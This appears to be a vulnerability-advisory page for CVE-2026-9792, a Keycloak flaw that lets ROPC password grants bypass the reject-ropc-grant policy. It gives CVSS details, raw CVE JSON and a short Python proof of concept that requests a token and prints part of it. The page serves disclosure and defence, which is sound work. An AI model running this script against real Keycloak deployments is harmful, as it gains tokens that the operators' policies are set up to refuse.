Security Vulnerability Report
中文
CVE-2026-9792 CVSS 6.5 MEDIUM

CVE-2026-9792

Published: 2026-05-28 05:16:41
Last Modified: 2026-05-28 05:16:41

Description

A flaw was found in Keycloak's Client Policies, specifically within the `org.keycloak.protocol.oidc` component. When certain condition providers (client-type, client-roles, client-attributes, client-scopes) are used to enforce security restrictions, the `reject-ropc-grant` executor is silently bypassed. This allows an unauthenticated remote attacker to obtain tokens via a Resource Owner Password Credentials (ROPC) grant, even when a policy is explicitly configured to block it. This bypass can lead to unauthorized access and information disclosure.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-9792: Keycloak reject-ropc-grant bypass # This script demonstrates the bypass of the ROPC rejection policy. import requests def check_ropc_bypass(target_url, client_id, username, password): token_endpoint = f"{target_url}/protocol/openid-connect/token" # Payload for Resource Owner Password Credentials grant payload = { "grant_type": "password", "client_id": client_id, "username": username, "password": password } try: response = requests.post(token_endpoint, data=payload) if response.status_code == 200 and "access_token" in response.json(): print("[+] Vulnerability Confirmed: ROPC grant allowed despite policy.") print(f"[+] Access Token: {response.json().get('access_token')[:50]}...") else: print("[-] ROPC blocked or request failed.") except Exception as e: print(f"Error: {e}") # Example usage # check_ropc_bypass("https://keycloak.example.com/realms/master", "admin-cli", "user", "pass")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9792", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:40.537", "lastModified": "2026-05-28T05:16:40.537", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak's Client Policies, specifically within the `org.keycloak.protocol.oidc` component. When certain condition providers (client-type, client-roles, client-attributes, client-scopes) are used to enforce security restrictions, the `reject-ropc-grant` executor is silently bypassed. This allows an unauthenticated remote attacker to obtain tokens via a Resource Owner Password Credentials (ROPC) grant, even when a policy is explicitly configured to block it. This bypass can lead to unauthorized access and information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-280"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9792", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482459", "source": "[email protected]"}]}}